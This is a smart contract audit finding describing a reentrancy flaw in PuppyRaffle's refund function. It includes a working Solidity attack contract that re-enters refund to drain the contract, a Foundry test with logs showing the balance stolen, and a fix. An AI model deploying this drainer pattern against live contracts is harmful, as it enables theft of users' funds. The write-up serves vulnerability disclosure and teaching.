Summary
Users are allowed to get a refund of their ticket and value if they call the refund function. Unfortunately, there is an issue that allows any user to get more of a refund than deposited.
Vulnerability Details
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(
playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund"
);
require(
playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active"
);
@> payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
PuppyRaffle.sol - Line 101
The PuppyRaffle::refund function sends the value back to the user using the sendValue function of the Address library, which makes a low-level external call to the receiver's address. This receiver can be a contract, which can make another call back to the PuppyRaffle::refund function. This cycle can continue until the PuppyRaffle contract has no more funds.
The main cause of this issue is the violation of the check-effect-interaction pattern, which recommends the following steps:
Check all conditions first.
Then update the state of the contract.
And, at the end, make any external call.
Unfortunately, in this case, the protocol is updating the players[playerIndex] = address(0) after the external call, which renders the second require condition in the refund function useless.
Impact
All funds will be stolen from the PuppyRaffle contract.
PoC
View It
Create Attack.sol file inside the test folder and paste this code in it.
pragma solidity ^0.7.6;
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract Attack {
PuppyRaffle puppyRaffle;
uint256 constant ENTRANCE_FEE = 1e18;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
function attack() external {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: ENTRANCE_FEE}(players);
puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(players[0]));
}
receive() external payable {
if (address(puppyRaffle).balance >= ENTRANCE_FEE) {
puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(address(this)));
}
}
}
In the PuppyRaffleTest::setUp function import Attack contract and create instance of it.
import {Attack} from "./Attack.sol";
...
Attack attack;
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
attack = new Attack(puppyRaffle);
}
And paste this test function inside PuppyRaffleTest file.
function test_HackPuppyRaffle() public {
vm.deal(payable(address(attack)), entranceFee);
assertEq(address(attack).balance, entranceFee);
console.log("Attack's Balance Before: ", address(attack).balance);
vm.deal(payable(address(puppyRaffle)), 10 * entranceFee);
console.log(
"PuppyRaffle's Balance Before: ",
address(puppyRaffle).balance
);
attack.attack();
assertEq(address(attack).balance, 11 * entranceFee);
console.log("Attack's Balance After: ", address(attack).balance);
assertEq(address(puppyRaffle).balance, 0);
console.log(
"PuppyRaffle's Balance After: ",
address(puppyRaffle).balance
);
}
OUTPUT
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_HackPuppyRaffle() (gas: 178334)
Logs:
Attack's Balance Before: 1000000000000000000
PuppyRaffle's Balance Before: 10000000000000000000
Attack's Balance After: 11000000000000000000
PuppyRaffle's Balance After: 0
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.00ms
Tools Used
Manual Review
Recommendations
Follow the check-effect-interaction pattern and update the players[playerIndex] = address(0) before the external call.
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
